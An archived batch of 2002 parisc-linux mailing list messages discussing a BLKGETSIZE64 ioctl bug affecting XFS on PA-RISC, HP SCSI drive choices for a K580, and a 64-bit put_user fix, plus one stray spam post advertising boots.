X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stefan Pfetzing <dreamind@dreamind.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFS - blkgetsize64
Date: Wed, 4 Sep 2002 22:57:44 +0200
Organization: private
Lines: 38
Approved: news@gmane.org
Message-ID: <20020904205744.GA29749@dreamind.de>
References: <20020904143013.GC4386@dreamind.de> <20020904165147.A33FC4829@dsl2.external.hp.com> <20020904182814.GA17156@dreamind.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621686 13351 80.91.229.3 (22 Nov 2014 02:01:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 14:57:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hp (IP-213157009128.dialin.heagmedianet.de [213.157.9.128])
	by dsl2.external.hp.com (Postfix) with ESMTP id 554864829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 14:57:47 -0600 (MDT)
Original-Received: from crayboook.dreamind ([192.168.1.20] helo=craybook)
	by hp with asmtp (Exim 3.36 #1 (Debian))
	id 17mhDd-00059h-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 04 Sep 2002 22:57:45 +0200
Original-Received: from dreamind by craybook with local (Exim 3.36 #1 (Debian))
	id 17mhDd-0007kI-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 04 Sep 2002 22:57:45 +0200
Content-Disposition: inline
In-Reply-To: <20020904182814.GA17156@dreamind.de>
User-Agent: Mutt/1.4i
X-PGP-Algorithms: RSA and DSA/EG keys are available
X-Operating-System: Debian GNU/Linux testing/unstable (Kernel 2.4.19-pre10-xfs-ben0-usb)
X-Cool: http://dreamind.de
X-Fnord: +++ath
X-WebTV-Stationery: Standard; BGColor=black; TextColor=black
X-Message-Flag: Message text blocked: ADULT LANGUAGE/SITUATIONS
X-BeenThere: hellfire@templeofhate.com
X-MSMail-Priority: High
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16027

Hum, replying to myself...

* Stefan Pfetzing <dreamind@dreamind.de> [020904 20:28]:
> * Grant Grundler <grundler@dsl2.external.hp.com> [020904 18:51]:
> > Stefan Pfetzing wrote:
> [snip]
> > > P.S.: I'm using 2.4.19-pa9 with a self made diff from vanilla 2.4.19 against
> > > XFS CVS. (the patch did in nearly cleanly)
> > 
> > Are you running 32-bit or 64-bit kernel?
> > I want to know if arch/parisc/kernel/sys_parisc32.c might be the problem.
> I'm running a 32bit kernel, since some time ago I had problems with 64bit and
> cdrecord.

I just got a blkgetsize* testprogram...
(https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=62038)

---snip---
root@hp:~# ./blkgetsizetester /dev/sda2
Device size is 83968 blocks (42991616 bytes)
Device size per BLKGETSIZE64 is 12345 bytes
root@hp:~# ./blkgetsizetester /dev/sda5 
Device size is 1026016 blocks (525320192 bytes)
Device size per BLKGETSIZE64 is 12345 bytes
root@hp:~#
---snip---

I think thats the problem with xfs... well at least blkgetsize64 should report
an error, if its not working correctly.

bye

Stefan

-- 
        http://www.dreamind.de/
Oroborus and Debian GNU/Linux Developer.


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a K580 Help Required]
Date: Wed, 4 Sep 2002 17:13:45 -0700 (PDT)
Lines: 44
Approved: news@gmane.org
Message-ID: <20020905001345.94888.qmail@web12501.mail.yahoo.com>
References: <20020904044110.0AF234829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621687 13353 80.91.229.3 (22 Nov 2014 02:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 18:13:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12501.mail.yahoo.com (web12501.mail.yahoo.com [216.136.173.193])
	by dsl2.external.hp.com (Postfix) with SMTP id 1C43B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 18:13:47 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12501.mail.yahoo.com via HTTP; Wed, 04 Sep 2002 17:13:45 PDT
In-Reply-To: <20020904044110.0AF234829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16028

All good advice Grant "except" about buying a C2490A drive....DON'T.  I
replace them constantly.  Forgive my language....they are #@$%.  They
are unreliable at best and loud.  Heck I have (5) C2490A's sitting in
my garage in an old HP 6000 Fast/Wide enclosure.  I'll probably never
use them.  You could put 4 of them on the internal cable of your K580
and have the 5th as spare.  I'd let you have all of them for $40 plus
shipping.  Just keep good back-ups if you use them.....;)

derek


--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> Steve.Grady@csiro.au wrote:
> > and HVD is not compatible with LVD except by a translator which
> costs
> > about $1.5K AUD which was more than I paid for the K580.
> 
> I didn't believe you until I found:
> http://members.ozemail.com.au/~jwk200/images/paralan -SRP pricelist
> 2002.pdf
> 
> You might try to order HDs here:
> 	http://www.weirdstuff.com/
> 
> They've got "Compaq" C2490A and "HP" C2490-60062 (both 2.1GB) for
> $40.
> You want "C2490WD" model - just like Seagate drives have "WD" for
> HVD.
> 
> Or the ST32550WD for $22 seems like a winner:
> http://liquidationetc.safeshopper.com/32/15179.htm?103
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFS - blkgetsize64
Date: Wed, 4 Sep 2002 21:38:21 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020905043821.GC8310@tausq.org>
References: <20020904143013.GC4386@dreamind.de> <20020904165147.A33FC4829@dsl2.external.hp.com> <20020904182814.GA17156@dreamind.de> <20020904205744.GA29749@dreamind.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621687 13355 80.91.229.3 (22 Nov 2014 02:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stefan Pfetzing <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 22:34:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id C80B64829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 22:34:50 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id BA801CD824; Wed,  4 Sep 2002 21:38:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020904205744.GA29749@dreamind.de>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16029

> I just got a blkgetsize* testprogram...
> (https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=62038)

the test program has a nasty bug in it...
#define BLKGETSIZE64 _IOR(0x12,114,sizeof(unsigned long long)) /* return device

that's wrong.. it should be
#define BLKGETSIZE64 _IOR(0x12,114,unsigned long long) /* return device

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a K580 Help Required]
Date: Wed, 04 Sep 2002 23:22:11 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20020905052211.9C5AE4829@dsl2.external.hp.com>
References: <20020905001345.94888.qmail@web12501.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621687 13357 80.91.229.3 (22 Nov 2014 02:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 23:22:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9C5AE4829; Wed,  4 Sep 2002 23:22:11 -0600 (MDT)
In-Reply-To: Message from Derek Engelhaupt <derekengelhaupt@rocketmail.com> 
   of "Wed, 04 Sep 2002 17:13:45 PDT." <20020905001345.94888.qmail@web12501.mail.yahoo.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16030

Derek Engelhaupt wrote:
> All good advice Grant "except" about buying a C2490A drive....DON'T.

no offense taken.  I've seen more than my fair share of ugly problems
with that drive as well.  The HP division that produced those was shut
down around the time those drives reached "end of product life".

I only suggested them because they were supported in the Kclass.

grant


From - Thu Nov 08 21:24:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XFS - blkgetsize64
Date: Wed, 4 Sep 2002 22:28:13 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20020905052813.GD8310@tausq.org>
References: <20020904143013.GC4386@dreamind.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621687 13359 80.91.229.3 (22 Nov 2014 02:01:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stefan Pfetzing <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 23:24:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCFFE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 23:24:20 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E6A56CD824; Wed,  4 Sep 2002 22:28:13 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020904143013.GC4386@dreamind.de>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16031

> I just tried to get XFS working on my C200 (I've got a new IBM SCSI disk.) and
> mkfs.xfs always got the size of the Device (/dev/sda5) wrong. (it complained
> about not getting with lseek64 to that position...)

64-bit kernel:
tausq@gsyprf11:~$ ls -l tst
-r-x--xr--    1 tausq    tausq    1099511627777 Sep  4 22:18 tst*
tausq@gsyprf11:~$ ./tt tst
lseek64(3,0,SEEK_END) = 1048576M


on my gecko (32-bit)
randolph@frodo:~$ sudo ./t /dev/sda3
lseek64(3,0,SEEK_END) = 1949M

seems to work ok?

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a K580 Help Required]
Date: Wed, 4 Sep 2002 22:39:46 -0700 (PDT)
Lines: 29
Approved: news@gmane.org
Message-ID: <20020905053946.7697.qmail@web12504.mail.yahoo.com>
References: <20020905052211.9C5AE4829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621688 13362 80.91.229.3 (22 Nov 2014 02:01:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 23:40:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12504.mail.yahoo.com (web12504.mail.yahoo.com [216.136.173.196])
	by dsl2.external.hp.com (Postfix) with SMTP id C22DE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 23:40:02 -0600 (MDT)
Original-Received: from [24.197.204.164] by web12504.mail.yahoo.com via HTTP; Wed, 04 Sep 2002 22:39:46 PDT
In-Reply-To: <20020905052211.9C5AE4829@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16032

The really only "good" thing about them is you can usually tell when
they are about to go bad by the strange sounds they make....;) 

derek 

--- Grant Grundler <grundler@dsl2.external.hp.com> wrote:
> Derek Engelhaupt wrote:
> > All good advice Grant "except" about buying a C2490A
> drive....DON'T.
> 
> no offense taken.  I've seen more than my fair share of ugly problems
> with that drive as well.  The HP division that produced those was
> shut
> down around the time those drives reached "end of product life".
> 
> I only suggested them because they were supported in the Kclass.
> 
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do You Yahoo!?
Yahoo! Finance - Get real-time stock quotes
http://finance.yahoo.com


From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: R P Herrold <herrold@owlriver.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] IPL Boot Parameters [Originally SCSI Disks on a
 K580 Help Required]
Date: Thu, 5 Sep 2002 01:53:38 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0209050151120.30421-100000@swampfox.owlriver.com>
References: <20020905053946.7697.qmail@web12504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621688 13364 80.91.229.3 (22 Nov 2014 02:01:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep  4 23:53:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from swampfox.owlriver.com (swampfox.owlriver.com [206.21.107.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4999B4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  4 Sep 2002 23:53:42 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by swampfox.owlriver.com (8.11.6/8.11.6) with ESMTP id g855rcM09196;
	Thu, 5 Sep 2002 01:53:39 -0400
In-Reply-To: <20020905053946.7697.qmail@web12504.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16033

On Wed, 4 Sep 2002, Derek Engelhaupt wrote:

> The really only "good" thing about them is you can usually tell when
> they are about to go bad by the strange sounds they make....;) 

As I have been talking a customer (new CIO's first alligator 
wrestle) through 'revivng'a K-220 with a dead boot drive 
[error: WARN A008 == no more boot drive], and no 'ignite' 
tape, from 300 miles away, hearing it was not really possible 
<grin>

  -- Russ Herrold




From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Unknown <unknown@unknown.invalid>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] shoes, boots, footwear
Date: Thu, 5 Sep 2002 15:45:42 +0800
Lines: 14
Approved: news@gmane.org
Message-ID: <20020905074545.95A68485E@dsl2.external.hp.com>
Reply-To: wins@public.xa.sn.cn
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416621688 13365 80.91.229.3 (22 Nov 2014 02:01:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  5 01:45:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zhang_1 (unknown [61.150.6.183])
	by dsl2.external.hp.com (Postfix) with ESMTP id 95A68485E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Sep 2002 01:45:45 -0600 (MDT)
Original-From: "wang lan" <"">
X-Priority: 3
X-Mailer: Microsoft Outlook Express 5.00.2615.200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16034

If you deal with work shoes and boots, please visit the website for cheaper and good quality:

www.wins-chinaboots.com

The site is a source for importers and distributors not for retail.

Sorry for disturbing you.


Regards


Wentao


From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] upgrade evms-1.1.0 -> Kernel bug at blkpg.c (need help)
Date: Thu, 5 Sep 2002 15:30:13 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <3D53B3B70000BC9B@ocpmta1.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621689 13367 80.91.229.3 (22 Nov 2014 02:01:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:01:29 +0000 (UTC)
Cc: willy@debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Sep  5 07:30:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id D600F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  5 Sep 2002 07:30:16 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 5 Sep 2002 15:30:13 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16035

Hi Willy,

Do you remember this.

> On Wed, Aug 21, 2002 at 05:14:28PM +0200, jsoe0708@tiscali.be wrote:
> > After this upgarde, all evms tools failled and I got folowing kernel
message
> > at the console:
> > kernel BUG at blkpg.c:252!                                       
> > evms: ldev_mgr: error(-28): creating logical disk for device(8,0).  
   
> > 
> > at line 250 of /drivers/block/blkpg.c I read:
> > ...
> >    return put_user(uulval << 9, (u64 *)arg);
> > ...
>
> Aw, crap.  It now seems to be `legal' to put_user a 64-bit argument on
a
> 32-bit system.  Someone needs to fix this in include/asm-parisc/uaccess.h

May I suggest a trivial sol:
in put_user, case 8 uses something like as:
__put_user_asm("stw",(unsigned int)(x >> 32), (unsigned int) ptr);__put_user_asm("stw",(unsigned
int) x, (unsigned int) (ptr+1) );

or is it in the contrary order (I am not familiar with SE and BE conversion)

Thanks for attention,
    Joel



Big Brother Anders  - With Tiscali you will see it all !  Check it up on
 www.tiscali.be/bigbrother




From - Thu Nov 08 21:24:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C200 Voodoo2 Progress Report
Date: Thu, 05 Sep 2002 17:49:55 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <3D77D183.2080905__38689.1229231425$1416621689$gmane$org@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
